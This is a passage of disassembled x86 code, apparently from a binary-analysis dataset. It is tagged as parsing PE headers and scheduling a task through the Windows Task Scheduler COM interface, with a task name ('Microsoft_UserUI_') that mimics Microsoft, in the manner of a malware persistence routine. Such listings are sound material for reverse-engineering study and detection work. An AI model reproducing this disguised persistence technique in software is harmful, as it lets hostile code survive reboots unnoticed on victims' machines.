Function at 0x40f180
Capabilities:
Parse pe header
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x83c
xor eax, eax
mov ecx, esp
mov dword [ecx], 0
mov dword [ebp - 0x4c4], eax
call sub.OLE32.DLL_CoInitialize
sub esp, 4
lea ecx, [ebp - 0x44]
lea edx, [0x44256c]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x28], edx
mov edx, 0x444b24
mov dword [ebp - 0x24], edx
mov edx, ebp
mov dword [ebp - 0x20], edx
mov edx, esp
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], 0x411a96
mov dword [ebp - 0x4c8], eax
mov eax, ecx
call fcn.004431d5
mov eax, dword [ebp - 0x4c8]
cmp eax, 0
jge 0x40f2ef
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x80], eax
mov byte [ebp - 0xa9], 1
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 1
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0xa0]
mov dword [edx], ecx
mov dword [ebp - 0x4cc], eax
call fcn.00411cc8
jmp 0x40f232
mov dword [ebp - 0x3c], 2
mov eax, esp
lea ecx, [ebp - 0xa0]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4cc]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40f253
mov byte [ebp - 0xa9], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3c], 3
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x4d0], edx
mov dword [ebp - 0x4d4], eax
jmp 0x40f2d3
lea ecx, [ebp - 0xa0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x4d8], edx
mov dword [ebp - 0x4dc], eax
call fcn.00411d4c
test byte [ebp - 0xa9], 1
jne 0x40f2de
jmp 0x40f2ea
mov eax, dword [ebp - 0x80]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
lea eax, [0x445ee4]
xor ecx, ecx
mov edx, 1
lea esi, [0x445eb4]
lea edi, [ebp - 0xb0]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x3c], 0xffffffff
mov ebx, esp
mov dword [ebx + 0x10], edi
mov dword [ebx + 0xc], 0x445eb4
mov dword [ebx + 8], 1
mov dword [ebx + 4], 0
mov dword [ebx], 0x445ee4
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4e8], edx
mov dword [ebp - 0x4ec], esi
call sub.OLE32.DLL_CoCreateInstance
sub esp, 0x14
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x40f476
mov dword [ebp - 0x3c], 0xffffffff
call sub.OLE32.DLL_CoUninitialize
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x7c], eax
mov byte [ebp - 0xcd], 1
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 4
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0xcc]
mov dword [edx], ecx
mov dword [ebp - 0x4f0], eax
call fcn.00411cc8
jmp 0x40f3b9
mov dword [ebp - 0x3c], 5
mov eax, esp
lea ecx, [ebp - 0xcc]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4f0]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40f3da
mov byte [ebp - 0xcd], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x3c], 6
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x4f4], edx
mov dword [ebp - 0x4f8], eax
jmp 0x40f45a
lea ecx, [ebp - 0xcc]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x4fc], edx
mov dword [ebp - 0x500], eax
call fcn.00411d4c
test byte [ebp - 0xcd], 1
jne 0x40f465
jmp 0x40f471
mov eax, dword [ebp - 0x7c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov edx, esp
lea esi, [ebp - 0xf0]
mov dword [edx], esi
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x508], ecx
call fcn.00411d68
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xe0], eax
mov eax, esp
lea ecx, [ebp - 0x110]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x100], eax
mov eax, esp
lea ecx, [ebp - 0x130]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov eax, esp
lea ecx, [ebp - 0x150]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x3c], 7
mov eax, dword [ebp - 0x134]
mov ecx, esp
mov dword [ecx + 0x40], eax
mov eax, dword [ebp - 0x138]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
mov dword [ecx + 0x38], edx
mov dword [ecx + 0x34], eax
mov eax, dword [ebp - 0x114]
mov dword [ecx + 0x30], eax
mov eax, dword [ebp - 0x118]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [ecx + 0x28], edx
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0xf4]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0xf8]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
mov dword [ecx + 0x18], edx
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0xd4]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0xd8]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x504]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x508]
call ecx
sub esp, 0x44
mov dword [ebp - 0x50c], eax
jmp 0x40f63d
lea eax, [ebp - 0x150]
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x84], ecx
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x130]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0xf0]
mov dword [esp], eax
call fcn.00411d84
cmp dword [ebp - 0x84], 0
jge 0x40f814
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x510], eax
call sub.OLE32.DLL_CoUninitialize
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x78], eax
mov byte [ebp - 0x16d], 1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 8
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x16c]
mov dword [edx], ecx
mov dword [ebp - 0x514], eax
call fcn.00411cc8
jmp 0x40f6fc
mov dword [ebp - 0x3c], 9
mov eax, esp
lea ecx, [ebp - 0x16c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x514]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40f71d
mov byte [ebp - 0x16d], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x3c], 0xa
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
lea ecx, [ebp - 0x150]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x518], edx
mov dword [ebp - 0x51c], eax
call fcn.00411d84
lea eax, [ebp - 0x130]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0xf0]
mov dword [esp], eax
call fcn.00411d84
jmp 0x411a81
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x520], edx
mov dword [ebp - 0x524], eax
jmp 0x40f7f8
lea ecx, [ebp - 0x16c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x528], edx
mov dword [ebp - 0x52c], eax
call fcn.00411d4c
test byte [ebp - 0x16d], 1
jne 0x40f803
jmp 0x40f80f
mov eax, dword [ebp - 0x78]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
mov dword [ebp - 0x174], 0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x3c], 0xffffffff
mov edx, esp
lea esi, [ebp - 0x178]
mov dword [edx], esi
mov dword [edx + 4], 0x44489a
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x538], esi
call fcn.00411da0
mov eax, esp
mov ecx, dword [ebp - 0x538]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0xb
mov ecx, esp
lea edx, [ebp - 0x174]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x530]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x534]
call ecx
sub esp, 0xc
mov dword [ebp - 0x53c], eax
jmp 0x40f897
lea eax, [ebp - 0x178]
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x84], ecx
mov dword [esp], eax
call fcn.00411e0c
cmp dword [ebp - 0x84], 0
jge 0x40fa1a
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x540], eax
call sub.OLE32.DLL_CoUninitialize
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x195], 1
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0xc
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x194]
mov dword [edx], ecx
mov dword [ebp - 0x544], eax
call fcn.00411cc8
jmp 0x40f92c
mov dword [ebp - 0x3c], 0xd
mov eax, esp
lea ecx, [ebp - 0x194]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x544]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40f94d
mov byte [ebp - 0x195], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3c], 0xe
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
lea ecx, [ebp - 0x178]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x548], edx
mov dword [ebp - 0x54c], eax
call fcn.00411e0c
jmp 0x411a81
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x550], edx
mov dword [ebp - 0x554], eax
jmp 0x40f9fe
lea ecx, [ebp - 0x194]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x558], edx
mov dword [ebp - 0x55c], eax
call fcn.00411d4c
test byte [ebp - 0x195], 1
jne 0x40fa09
jmp 0x40fa15
mov eax, dword [ebp - 0x74]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
xor eax, eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0
mov edx, dword [ebp - 0xb0]
mov esi, dword [edx]
mov esi, dword [esi + 0x24]
mov dword [ebp - 0x3c], 0xffffffff
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [ebp - 0x560], eax
call esi
sub esp, 0xc
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x40fbb7
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov esi, esp
mov dword [esi], ecx
mov dword [ebp - 0x564], eax
call edx
sub esp, 4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x568], eax
call sub.OLE32.DLL_CoUninitialize
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x70], eax
mov byte [ebp - 0x1b9], 1
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0xf
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x1b8]
mov dword [edx], ecx
mov dword [ebp - 0x56c], eax
call fcn.00411cc8
jmp 0x40fafa
mov dword [ebp - 0x3c], 0x10
mov eax, esp
lea ecx, [ebp - 0x1b8]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x56c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40fb1b
mov byte [ebp - 0x1b9], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x3c], 0x11
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x570], edx
mov dword [ebp - 0x574], eax
jmp 0x40fb9b
lea ecx, [ebp - 0x1b8]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x578], edx
mov dword [ebp - 0x57c], eax
call fcn.00411d4c
test byte [ebp - 0x1b9], 1
jne 0x40fba6
jmp 0x40fbb2
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], 0
mov ecx, dword [ebp - 0x19c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x1c]
mov dword [ebp - 0x3c], 0xffffffff
mov dword [esp], ecx
mov dword [esp + 4], eax
call edx
sub esp, 8
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x40fd65
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov ecx, dword [ebp - 0x174]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov esi, esp
mov dword [esi], ecx
mov dword [ebp - 0x580], eax
call edx
sub esp, 4
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
mov dword [ebp - 0x3c], 0xffffffff
mov esi, esp
mov dword [esi], ecx
mov dword [ebp - 0x584], eax
call edx
sub esp, 4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x588], eax
call sub.OLE32.DLL_CoUninitialize
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x1dd], 1
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x12
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x1dc]
mov dword [edx], ecx
mov dword [ebp - 0x58c], eax
call fcn.00411cc8
jmp 0x40fca8
mov dword [ebp - 0x3c], 0x13
mov eax, esp
lea ecx, [ebp - 0x1dc]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x58c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x40fcc9
mov byte [ebp - 0x1dd], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3c], 0x14
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x590], edx
mov dword [ebp - 0x594], eax
jmp 0x40fd49
lea ecx, [ebp - 0x1dc]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x598], edx
mov dword [ebp - 0x59c], eax
call fcn.00411d4c
test byte [ebp - 0x1dd], 1
jne 0x40fd54
jmp 0x40fd60
mov eax, dword [ebp - 0x6c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a81
mov dword [ebp - 0x1f8], str.Microsoft_UserUI_
mov dword [ebp - 0x1f4], 0x10
mov eax, esp
lea ecx, [ebp - 0x1fc]
mov dword [eax], ecx
mov dword [ebp - 0x5a0], ecx
call fcn.00401c24
mov dword [ebp - 0x3c], 0xffffffff
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [ebp - 0x1f4]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x5a0]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x1f0]
mov dword [edx], ecx
mov dword [ebp - 0x5a4], ecx
call fcn.00401c40
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov edx, esp
mov esi, dword [ebp - 0x5a4]
mov dword [edx + 4], esi
lea edi, [ebp - 0x228]
mov dword [edx], edi
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5ac], ecx
call fcn.00402114
mov eax, esp
mov ecx, dword [ebp - 0x5a4]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x234]
mov dword [eax], edx
call fcn.004021f0
mov eax, esp
lea ecx, [ebp - 0x238]
mov dword [eax], ecx
mov dword [ebp - 0x5b0], ecx
call fcn.004022cc
mov dword [ebp - 0x3c], 0x15
mov eax, dword [ebp - 0x22c]
mov ecx, esp
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x234]
mov edx, dword [ebp - 0x230]
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x220]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x228]
mov edx, dword [ebp - 0x224]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ecx + 0x1c], eax
lea edx, [ebp - 0x21c]
mov dword [ecx], edx
call fcn.004022e8
jmp 0x40fe78
mov eax, esp
lea ecx, [ebp - 0x21c]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x16
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x200]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x40fea2
mov eax, esp
lea ecx, [ebp - 0x200]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x17
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x5a8]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x5ac]
call ecx
sub esp, 8
mov dword [ebp - 0x5b4], eax
jmp 0x40fed8
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x84], eax
mov ecx, esp
lea edx, [ebp - 0x200]
mov dword [ecx], edx
call fcn.00411e0c
mov eax, esp
lea ecx, [ebp - 0x21c]
mov dword [eax], ecx
call fcn.00402348
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x18
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5b8], eax
jmp 0x40ff25
cmp dword [ebp - 0x84], 0
jge 0x410129
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x19
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5bc], eax
jmp 0x40ff55
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x1a
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5c0], eax
jmp 0x40ff78
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x1b
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5c4], eax
jmp 0x40ff9b
mov dword [ebp - 0x3c], 0x1c
call sub.OLE32.DLL_CoUninitialize
jmp 0x40ffa9
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x68], eax
mov byte [ebp - 0x255], 1
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x1d
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x254]
mov dword [edx], ecx
mov dword [ebp - 0x5c8], eax
call fcn.00411cc8
jmp 0x40ffea
mov dword [ebp - 0x3c], 0x1e
mov eax, esp
lea ecx, [ebp - 0x254]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x5c8]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x41000b
mov byte [ebp - 0x255], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x3c], 0x1f
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x5cc], edx
mov dword [ebp - 0x5d0], eax
jmp 0x411a59
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x5d4], edx
mov dword [ebp - 0x5d8], eax
jmp 0x4100ae
lea ecx, [ebp - 0x200]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x5dc], edx
mov dword [ebp - 0x5e0], eax
call fcn.00411e0c
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call fcn.00402348
jmp 0x411a59
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x5e4], edx
mov dword [ebp - 0x5e8], eax
jmp 0x41010d
lea ecx, [ebp - 0x254]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x5ec], edx
mov dword [ebp - 0x5f0], eax
call fcn.00411d4c
test byte [ebp - 0x255], 1
jne 0x410118
jmp 0x410124
mov eax, dword [ebp - 0x68]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x3c], 0x20
mov edx, esp
lea esi, [ebp - 0x25c]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x5f4], eax
jmp 0x41015f
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x4102ed
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x21
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5f8], eax
jmp 0x41019b
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x22
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x5fc], eax
jmp 0x4101be
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x23
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x600], eax
jmp 0x4101e1
mov dword [ebp - 0x3c], 0x24
call sub.OLE32.DLL_CoUninitialize
jmp 0x4101ef
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x279], 1
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x25
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x278]
mov dword [edx], ecx
mov dword [ebp - 0x604], eax
call fcn.00411cc8
jmp 0x410230
mov dword [ebp - 0x3c], 0x26
mov eax, esp
lea ecx, [ebp - 0x278]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x604]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x410251
mov byte [ebp - 0x279], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x3c], 0x27
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x608], edx
mov dword [ebp - 0x60c], eax
jmp 0x4102d1
lea ecx, [ebp - 0x278]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x610], edx
mov dword [ebp - 0x614], eax
call fcn.00411d4c
test byte [ebp - 0x279], 1
jne 0x4102dc
jmp 0x4102e8
mov eax, dword [ebp - 0x64]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x28]
mov dword [ebp - 0x3c], 0x28
